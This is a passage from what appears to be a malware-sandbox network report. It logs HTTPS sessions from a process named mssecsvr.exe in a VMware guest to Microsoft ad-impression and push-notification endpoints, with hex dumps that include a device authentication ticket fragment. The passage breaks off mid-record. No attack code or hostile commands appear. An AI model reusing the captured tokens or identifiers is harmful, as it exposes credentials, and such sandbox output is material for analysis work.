2022-07-20 11:25:26 UTC	8004	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202514Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:27 UTC	8005	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 6f923c38-f24b-4e1e-a9d4-632c8d31bead Date: Wed, 20 Jul 2022 11:25:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.7	52281	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:27 UTC	8005	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202515Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:27 UTC	8005	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 68599396-07e8-49ef-b95e-3ff50cd72233 Date: Wed, 20 Jul 2022 11:25:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.7	52285	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:27 UTC	8006	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202520Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:27 UTC	8006	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 6402c36e-b5cf-4d92-a45a-8d3e29776d08 Date: Wed, 20 Jul 2022 11:25:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.7	52436	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:30 UTC	8006	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 36 39 65 64 30 36 32 35 39 39 31 64 34 32 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: f69ed0625991d424
2022-07-20 11:25:30 UTC	8006	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 11:25:30 UTC	8007	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 36 39 65 64 30 36 32 35 39 39 31 64 34 32 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 6d 77 33 5a 4b 41 4c 45 70 53 2f 30 70 30 73 78 2b 39 62 59 72 6d 30 56 72 4f 63 30 43 6c 78 59 7a 49 66 69 4d 78 36 6d 67 58 31 39 79 41 4b 31 58 49 5a 39 4d 65 66 6a 6b 37 33 42 78 64 79 35 5a 35 66 79 6b 66 56 41 47 4b 37 56 79 59 34 50 69 33 64 2f 70 6c 4d 55 51 4b 4e 51 63 55 38 6d 68 30 74 30 38 48 4a 2f 56 77 61 63 62 65 42 44 47 55 6f 35 54 68 76 45 68 47 73 32 4d 4c 61 68 6e 6a 67 34 34 4b 55 Data Ascii: ATH 2 CON\DEVICE 1014Context: f69ed0625991d424<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYmw3ZKALEpS/0p0sx+9bYrm0VrOc0ClxYzIfiMx6mgX19yAK1XIZ9Mefjk73Bxdy5Z5fykfVAGK7VyY4Pi3d/plMUQKNQcU8mh0t08HJ/VwacbeBDGUo5ThvEhGs2MLahnjg44KU
2022-07-20 11:25:30 UTC	8008	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 36 39 65 64 30 36 32 35 39 39 31 64 34 32 34 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: f69ed0625991d424
2022-07-20 11:25:30 UTC	8008	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 11:25:30 UTC	8008	IN	Data Raw: 4d 53 2d 43 56 3a 20 4b 42 71 4d 59 36 72 6e 50 30 6d 4e 48 57 7a 74 4c 49 66 75 6a 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: KBqMY6rnP0mNHWztLIfujw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.7	52704	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:36 UTC	8008	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 62 34 37 65 33 36 66 30 30 63 33 63 33 63 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 2b47e36f00c3c3c8
2022-07-20 11:25:36 UTC	8008	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 11:25:36 UTC	8008	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 62 34 37 65 33 36 66 30 30 63 33 63 33 63 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 6d 77 33 5a 4b 41 4c 45 70 53 2f 30 70 30 73 78 2b 39 62 59 72 6d 30 56 72 4f 63 30 43 6c 78 59 7a 49 66 69 4d 78 36 6d 67 58 31 39 79 41 4b 31 58 49 5a 39 4d 65 66 6a 6b 37 33 42 78 64 79 35 5a 35 66 79 6b 66 56 41 47 4b 37 56 79 59 34 50 69 33 64 2f 70 6c 4d 55 51 4b 4e 51 63 55 38 6d 68 30 74 30 38 48 4a 2f 56 77 61 63 62 65 42 44 47 55 6f 35 54 68 76 45 68 47 73 32 4d 4c 61 68 6e 6a 67 34 34 4b 55 Data Ascii: ATH 2 CON\DEVICE 1014Context: 2b47e36f00c3c3c8<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYmw3ZKALEpS/0p0sx+9bYrm0VrOc0ClxYzIfiMx6mgX19yAK1XIZ9Mefjk73Bxdy5Z5fykfVAGK7VyY4Pi3d/plMUQKNQcU8mh0t08HJ/VwacbeBDGUo5ThvEhGs2MLahnjg44KU
2022-07-20 11:25:36 UTC	8009	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 62 34 37 65 33 36 66 30 30 63 33 63 33 63 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 2b47e36f00c3c3c8<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 11:25:36 UTC	8009	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 11:25:36 UTC	8009	IN	Data Raw: 4d 53 2d 43 56 3a 20 43 51 49 61 69 35 41 43 63 45 2b 6d 4e 53 72 76 31 33 59 47 38 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: CQIai5ACcE+mNSrv13YG8g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.7	53894	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:26:00 UTC	8009	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 65 35 35 31 35 34 32 36 34 62 35 34 62 64 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 1e55154264b54bdf
2022-07-20 11:26:00 UTC	8009	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 11:26:00 UTC	8009	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 65 35 35 31 35 34 32 36 34 62 35 34 62 64 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 6d 77 33 5a 4b 41 4c 45 70 53 2f 30 70 30 73 78 2b 39 62 59 72 6d 30 56 72 4f 63 30 43 6c 78 59 7a 49 66 69 4d 78 36 6d 67 58 31 39 79 41 4b 31 58 49 5a 39 4d 65 66 6a 6b 37 33 42 78 64 79 35 5a 35 66 79 6b 66 56 41 47 4b 37 56 79 59 34 50 69 33 64 2f 70 6c 4d 55 51 4b 4e 51 63 55 38 6d 68 30 74 30 38 48 4a 2f 56 77 61 63 62 65 42 44 47 55 6f 35 54 68 76 45 68 47 73 32 4d 4c 61 68 6e 6a 67 34 34 4b 55 Data Ascii: ATH 2 CON\DEVICE 1014Context: 1e55154264b54bdf<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYmw3ZKALEpS/0p0sx+9bYrm0VrOc0ClxYzIfiMx6mgX19yAK1XIZ9Mefjk73Bxdy5Z5fykfVAGK7VyY4Pi3d/plMUQKNQcU8mh0t08HJ/VwacbeBDGUo5ThvEhGs2MLahnjg44KU
2022-07-20 11:26:00 UTC	8010	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 65 35 35 31 35 34 32 36 34 62 35 34 62 64 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 1e55154264b54bdf<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 11:26:00 UTC	8011	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 11:26:00 UTC	8011	IN	Data Raw: 4d 53 2d 43 56 3a 20 6d 4e 67 62 71 35 30 32 58 45 57 43 77 49 77 7a 2f 4b 53 62 33 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: mNgbq502XEWCwIwz/KSb3Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.7	54153	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:26:04 UTC	8011	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 38 32 35 64 31 63 65 37 32 64 30 37 33 34 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 3825d1ce72d07342
2022-07-20 11:26:04 UTC	8011	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 11:26:04 UTC	8011	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 38 32 35 64 31 63 65 37 32 64 30 37 33 34 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 6d 77 33 5a 4b 41 4c 45 70 53 2f 30 70 30 73 78 2b 39 62 59 72 6d 30 56 72 4f 63 30 43 6c 78 59 7a 49 66 69 4d 78 36 6d 67 58 31 39 79 41 4b 31 58 49 5a 39 4d 65 66 6a 6b 37 33 42 78 64 79 35 5a 35 66 79 6b 66 56 41 47 4b 37 56 79 59 34 50 69 33 64 2f 70 6c 4d 55 51 4b 4e 51 63 55 38 6d 68 30 74 30 38 48 4a 2f 56 77 61 63 62 65 42 44 47 55 6f 35 54 68 76 45 68 47 73 32 4d 4c 61 68 6e 6a 67 34 34 4b 55 Data Ascii: ATH 2 CON\DEVICE 1014Context: 3825d1ce72d07342<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYmw3ZKALEpS/0p0sx+9bYrm0VrOc0ClxYzIfiMx6mgX19yAK1XIZ9Mefjk73Bxdy5Z5fykfVAGK7VyY4Pi3d/plMUQKNQcU8mh0t08HJ/VwacbeBDGUo5ThvEhGs2MLahnjg44KU
2022-07-20 11:26:04 UTC	8012	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 38 32 35 64 31 63 65 37 32 64 30 37 33 34 32 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 3825d1ce72d07342
2022-07-20 11:26:04 UTC	8012	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 11:26:04 UTC	8012	IN	Data Raw: 4d 53 2d 43 56 3a 20 64 76 30 44 43 77 4b 44 4b 6b 75 64 6c 49 54 75 68 2f 4d 36 55 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: dv0DCwKDKkudlITuh/M6UQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.7	55914	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:26:32 UTC	8012	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 33 61 62 32 63 30 64 65 63 35 31 63 39 61 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: f3ab2c0dec51c9a9
2022-07-20 11:26:32 UTC	8012	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 11:26:32 UTC	8012	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 33 61 62 32 63 30 64 65 63 35 31 63 39 61 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 6d 77 33 5a 4b 41 4c 45 70 53 2f 30 70 30 73 78 2b 39 62 59 72 6d 30 56 72 4f 63 30 43 6c 78 59 7a 49 66 69 4d 78 36 6d 67 58 31 39 79 41 4b 31 58 49 5a 39 4d 65 66 6a 6b 37 33 42 78 64 79 35 5a 35 66 79 6b 66 56 41 47 4b 37 56 79 59 34 50 69 33 64 2f 70 6c 4d 55 51 4b 4e 51 63 55 38 6d 68 30 74 30 38 48 4a 2f 56 77 61 63 62 65 42 44 47 55 6f 35 54 68 76 45 68 47 73 32 4d 4c 61 68 6e 6a 67 34 34 4b 55 Data Ascii: ATH 2 CON\DEVICE 1014Context: f3ab2c0dec51c9a9<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYmw3ZKALEpS/0p0sx+9bYrm0VrOc0ClxYzIfiMx6mgX19yAK1XIZ9Mefjk73Bxdy5Z5fykfVAGK7VyY4Pi3d/plMUQKNQcU8mh0t08HJ/VwacbeBDGUo5ThvEhGs2MLahnjg44KU
2022-07-20 11:26:32 UTC	8013	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 33 61 62 32 63 30 64 65 63 35 31 63 39 61 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: f3ab2c0dec51c9a9<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 11:26:32 UTC	8014	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 11:26:32 UTC	8014	IN	Data Raw: 4d 53 2d 43 56 3a 20 6f 45 6e 2b 48 63 70 4b 72 6b 36 51 75 7a 37 68 2b 42 51 72 61 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: oEn+HcpKrk6Quz7h+BQraQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.7	57179	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:26:50 UTC	8014	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 63 62 64 34 64 38 62 31 31 34 66 61 36 62 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 1cbd4d8b114fa6bd
2022-07-20 11:26:50 UTC	8014	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: 